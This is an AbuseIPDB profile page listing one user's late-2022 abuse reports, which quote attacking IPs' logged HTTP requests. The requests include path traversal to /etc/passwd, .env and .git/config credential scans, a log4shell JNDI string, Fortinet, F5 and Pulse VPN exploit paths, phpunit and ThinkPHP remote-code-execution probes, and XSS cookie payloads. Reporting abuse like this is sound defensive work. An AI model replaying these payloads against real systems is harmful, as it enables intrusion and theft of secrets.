AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User dfnc joined AbuseIPDB in August 2022 and has reported 160 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇺🇸 86.107.55.206	12 Dec 2022	x0CxC0TrxAA%TxC9xC4xF0x85NxE5icx80Y)x9FcxB9BxD1WxA2xDC9xB4xD4xDAx96KxC3xBF}x1Dkx15xDEx85x97Gx0Ex1FxF ... show more x0CxC0TrxAA%TxC9xC4xF0x85NxE5icx80Y)x9FcxB9BxD1WxA2xDC9xB4xD4xDAx96KxC3xBF}x1Dkx15xDEx85x97Gx0Ex1FxFDx9CxB5xEE4x1Ex86XxCExFCx91x93^$'x04x1FxAExC3xF4SxEF6\|xA7xFAxC9ux9Ax1Dx9B,7x9Fx87xF2x05ix18~yxD5vxB0x83xD14xDBxF0xF5xBAx0CxA7xC3_xD1>Vr-x9A_@xDCxE4xD8x95jx9AxD2xCDxE3x9Byx87xE6Dx14zxFA5OxD2?yNx12xB3x88xA5x96x09ox1DxB2xF7xC6'x1Bx92x8CxFDxF074p/xC8UxA9xC8xCC{@1x10xFDx12IxCFxD3xA6x9ExEEx9CIxFFxB8x8FxAExF92[x112xDBUxB0xB9x09xC3xB8x18xD0xFBsxBDx132bx86fxBBJxF2x86bMD x0CxC0TrxAA%TxC9xC4xF0x85NxE5icx80Y)x9FcxB9BxD1WxA2xDC9xB4xD4xDAx96KxC3xBF}x1Dkx15xDEx85x97Gx0Ex1FxFDx9CxB5xEE4x1Ex86XxCExFCx91x93^$'x04x1FxAExC3xF4SxEF6\|xA7xFAxC9ux9Ax1Dx9B,7x9Fx87xF2x05ix18~yxD5vxB0x83xD14xDBxF0xF5xBAx0CxA7xC3_xD1>Vr-x9A_@xDCxE4xD8x95jx9AxD2xCDxE3x9Byx87xE6Dx14zxFA5OxD2?yNx12xB3x88xA5x96x09ox1DxB2xF7xC6'x1Bx92x8CxFDxF074p/xC8UxA9xC8xCC{@1x10xFDx12IxCFxD3xA6x9ExEEx9CIxFFxB8x8FxAExF92[x112xDBUxB0xB9x09xC3xB8x18xD0xFB show less	Web App Attack
🇺🇸 44.193.23.131	12 Dec 2022	GET /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini HTTP/1.1 GET /%5c..%5c..%5c. ... show more GET /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini HTTP/1.1 GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin%2eini HTTP/1.1 GET /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwinnt%2fwin.ini HTTP/1.1 GET /.\|./.\|./.\|./.\|./.\|./.\|./.\|./.\|./.\|./.\|./.\|./windows/win.ini HTTP/1.1 GET /.\|./.\|./.\|./.\|./.\|./.\|./.\|./.\|./.\|./.\|./.\|./winnt/win.ini HTTP/1.1 GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini HTTP/1.1 GET /cgi-bin/agorn.cgi HTTP/1.1 GET /cgi-bin/bugreport.cgi HTTP/1.1 GET /cgi-bin/cart.cgi HTTP/1.1 GET /2tbnblsw.asp?<script>document.cookie=%22testdfks=4658;%22</script> HTTP/1.1 GET /2tbnblsw.asp?<meta%20http-equiv=Set-Cookie%20content=%22testdfks=4658%22> HTTP/1.1 show less	Web App Attack
🇫🇮 65.108.239.6	12 Dec 2022	Trying nonhttp actions on http ports - more than thousand of similar req x09~xECx00x8DxCABxA1xED$x1 ... show more Trying nonhttp actions on http ports - more than thousand of similar req x09~xECx00x8DxCABxA1xED$x1ExABx13xA8x00lx875x85xE2x95xE7xFExDByx8Ex05b'xCBx94x95RxA3AxFDx95xD7xF0 xFDx93xE5x8ExBBBx1Dx9Dx95xC2xA9x9B\|x95x1ETV0x9Ajhx9Fx14mx9CxB6x22b5AxA6xD9xD0x13=xEAxA1xB3:oxBCtxF0xAE0x9Cr;x04R2x9ExEDxBCQxDCQexBCx9BulFx08Bx97xFCxB4dx8AxDDx88qxA4'xF2xA1x9F1xE5Hxx1FP xB0xC6;xC7x1Fx81x07x1ExD9wxBC&+ fDxF1[$x94xBBxB5xD5hx95fx1FxC0LxC6OxDE3*%+xD1Cx91xF2}[email protected]^ux9C4xD2x12x06x13Zrx81l&x06xEBxD8xD2xxFExF6xA9xAExAAx14xE6QxD3xD2x8Fx7FxF8cx00\|PNxF2xB5xCE^qx00x0BxFExC7x13xBFIx22EexB7xFFAxCBFxACx8Ax07x16x122suxF4;xC4CqxA7#xE8 Rx1F xD0x99xC2x97x8Cx83xACxB5OxAEYxAEx96Ex83xx01FxF4xDBxC6xB5xAAx96xAEx19 x0CxDFxFDxB3xBD>1xA9`_xE2x22x9Ax8C;xBDxD5xA3:Hx83x9BPxE8xD97 dgxDBtxDExFFx15_x9BxC4xE8xFDx99xE8jxDARKxF90xD8xBFxDExB5x98x9FxD8x0Bx1DixF65x0BxDBxA5x5Cx1Bx99x190xB2x92xEAxD3ix01x84x81x11x06Ex0Ex18xFDx99x91<x99#xF9^xDD,xA2xD0xB6x9Cx1AxxBFxECxB5RxEExF1xCA+x18 ^xC1h`xF8]xA20xF6xF8x83x1EY+x8DxFFx1F$5x1Bx9Fx01x1... show less	Web App Attack
🇺🇸 20.97.18.105	12 Dec 2022	GET //wp-content/ HTTP/1.1 GET /sources/.env HTTP/1.1 GET /.git/config HTTP/1.1 POST /sources/.en ... show more GET //wp-content/ HTTP/1.1 GET /sources/.env HTTP/1.1 GET /.git/config HTTP/1.1 POST /sources/.env HTTP/1.1 GET /system/.env HTTP/1.1 GET /application/.env HTTP/1.1 POST /system/.env HTTP/1.1 POST /application/.env HTTP/1.1 GET /.env.prod HTTP/1.1 POST /.env.prod HTTP/1.1 GET /admin-app/.env HTTP/1.1 POST /admin-app/.env HTTP/1.1 GET /script/.env HTTP/1.1 GET /development/.env HTTP/1.1 POST /script/.env HTTP/1.1 POST /rest/.env HTTP/1.1 POST /development/.env HTTP/1.1 GET /.env.production HTTP/1.1 GET /rest/.env HTTP/1.1 POST /.env.production HTTP/1.1 show less	Web App Attack
🇺🇸 172.173.164.124	12 Dec 2022	searching for env files	Web App Attack
🇬🇧 193.56.29.103	12 Dec 2022	GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /.env HTTP/1.1 GET /vendor/.e ... show more GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /.env HTTP/1.1 GET /vendor/.env HTTP/1.1 GET /admin/.env HTTP/1.1 GET /blog/.env HTTP/1.1 GET /laravel/.env HTTP/1.1 show less	Web App Attack
🇦🇺 20.213.105.170	12 Dec 2022	spam of GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /.env HTTP/1.1	Web App Attack
🇺🇸 44.193.23.161	12 Dec 2022	${jndi:ldap://log4shell-generic-t8O90UaOxpJRAGAQieiu${lower:ten}.w.nessus.org/nessus} GET /../../.. ... show more ${jndi:ldap://log4shell-generic-t8O90UaOxpJRAGAQieiu${lower:ten}.w.nessus.org/nessus} GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1 GET /scripts/fake.cgi?arg=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini HTTP/1.1 GET /../../../../../../../../../../../../etc/passwd HTTP/1.1 and similar requests show less	Hacking Web App Attack
🇺🇸 208.167.248.124	12 Dec 2022	GET /conf/.env HTTP/1.1 GET /wp-content/.env HTTP/1.1 POST /old/.env HTTP/1.1 GET /apps/.env HTTP ... show more GET /conf/.env HTTP/1.1 GET /wp-content/.env HTTP/1.1 POST /old/.env HTTP/1.1 GET /apps/.env HTTP/1.1 GET /base/.env HTTP/1.1 POST /admin/.env HTTP/1.1 show less	Web App Attack
🇮🇷 2.177.236.94	08 Dec 2022	Invalid http requests on http ports few examples (cut) pxFCx92x89]xA7xF2SxB6xC5xC7x0CxB8S&_xEDxE ... show more Invalid http requests on http ports few examples (cut) pxFCx92x89]xA7xF2SxB6xC5xC7x0CxB8S&_xEDxE1xDExB4xFFx80xE1xD1xA9Nx99xA3?xEFxC4xDCx9CxFCbxA2x1Ax03xDEZx1BxB8xD3xDD{M,... x0F~/xE6x01xD7hx0Cnx0BxAExF3xCFxC5?x12xD14vxB3xDF6xE1xE2xE9gcy,F8:x7FxF3^xCFxA9xB4;XxABezcxF3xFAx97xF3x1CxC7xC4WxADxCB'xC6xDCxE7xF2_CxCAxD2x8CRxCAx85xE5x8EHxD0pxA3x18xD2QxB9x14@xECxBC>xDFLx9Dx82xA1xA0g^xAEx11%x95x1Bt2xB8Qcx1Dx161Y... x19xC0xC0xD3x9ExC7x9Ex1Ex07xDExE7x9A8BxDFx22x12xC3xDFx8AxAD\|x9Bx02x7FxD4,xAELuu7x8BxE0xF2x5CxFAx8Ex8D[xB7x9CxFD4x16x96jex89xF6x97WjxFFxFA?4zp3y{xA3xE2F8xF0>#xE4xB1x7F,x8CxE8^(xA7XxDBxF9xF9x132Yx9Co&xEAxE4oxCClx91xB1xD2wx85x93ax96x15Fx... show less	Brute-Force Exploited Host Web App Attack
🇳🇱 46.161.27.17	07 Dec 2022	GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1	Exploited Host Web App Attack
🇳🇱 146.0.77.38	07 Dec 2022	GET /vpn/../vpns/cfg/smb.conf HTTP/1.1 GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE ... show more GET /vpn/../vpns/cfg/smb.conf HTTP/1.1 GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1 GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1 PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1 show less	Web App Attack
🇳🇱 5.39.220.78	07 Dec 2022	GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang ... show more GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1 GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1 GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1 PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 show less	Web App Attack
🇫🇷 185.81.157.9	07 Dec 2022	GET /wp-content/plugins/upspy/index.php HTTP/1.1 GET /wp-content/plugins/ubh/index.php HTTP/1.1 GE ... show more GET /wp-content/plugins/upspy/index.php HTTP/1.1 GET /wp-content/plugins/ubh/index.php HTTP/1.1 GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1 GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1 GET /wp-admin/shapes.php HTTP/1.1 GET /wp-content/plugins/html404/index.html HTTP/1.1 GET /wp-content/uploads/ HTTP/1.1 GET /wp-content/uploads/2022/12/ HTTP/1.1 GET /wp-admin/network/wp-footer.php HTTP/1.1 GET /wp-content/vuln.php HTTP/1.1 GET /wp-content/plugins/ppus/up.php HTTP/1.1 GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1 GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1 show less	Web App Attack
🇬🇧 132.145.9.189	06 Dec 2022	GET /.env HTTP/1.1 GET /_profiler/phpinfo HTTP/1.1 GET /phpinfo HTTP/1.1 GET /phpinfo.php HTTP/1. ... show more GET /.env HTTP/1.1 GET /_profiler/phpinfo HTTP/1.1 GET /phpinfo HTTP/1.1 GET /phpinfo.php HTTP/1.1 show less	Exploited Host Web App Attack
🇷🇺 185.7.214.104	30 Nov 2022	GET /index.php?s=/Index/x5Cthinkx5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars ... show more GET /index.php?s=/Index/x5Cthinkx5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 GET /_ignition/execute-solution HTTP/1.1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1 show less	Exploited Host Web App Attack
🇳🇱 80.82.78.39	30 Nov 2022	trying nonhttp actions on http ports	Exploited Host
🇺🇸 37.139.128.91	30 Nov 2022	GET /phpinfo.php HTTP/1.1 GET /_profiler/phpinfo HTTP/1.1	Exploited Host Web App Attack
🇳🇱 146.0.77.39	30 Nov 2022	GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1 GET /tmui/login ... show more GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1 GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1 PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1 show less	Exploited Host Web App Attack
🇬🇧 165.227.231.149	28 Nov 2022	x16x03x01x00xEAx01x00x00xE6x03x03xC4NFx86... GET /.git/config HTTP/1.1 GET /.env HTTP/1.1 PUT /a ... show more x16x03x01x00xEAx01x00x00xE6x03x03xC4NFx86... GET /.git/config HTTP/1.1 GET /.env HTTP/1.1 PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 show less	Exploited Host Web App Attack
🇺🇸 20.124.121.193	28 Nov 2022	GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /.env HTTP/1.1	Exploited Host Web App Attack
🇺🇦 139.28.37.166	28 Nov 2022	GET /_profiler/phpinfo HTTP/1.1 GET /.env HTTP/1.1 GET /laravel/.env HTTP/1.1 GET /.env.bak HTTP/ ... show more GET /_profiler/phpinfo HTTP/1.1 GET /.env HTTP/1.1 GET /laravel/.env HTTP/1.1 GET /.env.bak HTTP/1.1 ... show less	Exploited Host Web App Attack
🇷🇺 109.194.167.54	21 Nov 2022	POST /GponForm/diag_Form?style/ HTTP/1.1	Exploited Host Web App Attack
🇨🇭 35.216.130.245	21 Nov 2022	GET /.git/config HTTP/1.1 GET /.env HTTP/1.1 x16x03x01x00xEEx01x00x00xEAx03x03xD1s-hxDB\|x08x10xCA: ... show more GET /.git/config HTTP/1.1 GET /.env HTTP/1.1 x16x03x01x00xEEx01x00x00xEAx03x03xD1s-hxDB\|x08x10xCA:xAFxD6g4xDBxB0x82bFgx00x10xEExF1xB8xDCx17wx87x8Cx8A! xD4xE3_xA2xxADxC6xDFx93px8AxACDx94xE3x99x81sx90xD0xF4zxCEDrx94x06xFDx1ExB6 xBBx00&xC0/xC00xC0+xC0,xCCxA8xCCxA9xC0x13xC0x09xC0x14xC0 x16x03x01x00xEEx01x00x00xEAx03x03x8CxF8xBAx966x9AVLxE4xC6xA9x1B)xDDxBEx8CxB8xFCxE9>xE4rx1C}xF5 xB4xB1x8ExCF~\| x8E1@NxECxABxC2TXx81xE9xC7xC3[x90hx1DxDBkGnx8Ax9E'I(`?wxA1x14xFBx00&xC0/xC00xC0+xC0,xCCxA8xCCxA9xC0x13xC0x09xC0x14xC0 show less	Exploited Host Web App Attack
🇯🇵 20.89.132.253	17 Nov 2022	Searching for sensitive files GET /.env.local HTTP/1.1 GET /.env.php HTTP/1.1 GET /.env.prod HTTP ... show more Searching for sensitive files GET /.env.local HTTP/1.1 GET /.env.php HTTP/1.1 GET /.env.prod HTTP/1.1 GET /.env.production.local HTTP/1.1 GET /.env.sample.php HTTP/1.1 GET /.env.stage HTTP/1.1 etc... show less	Web App Attack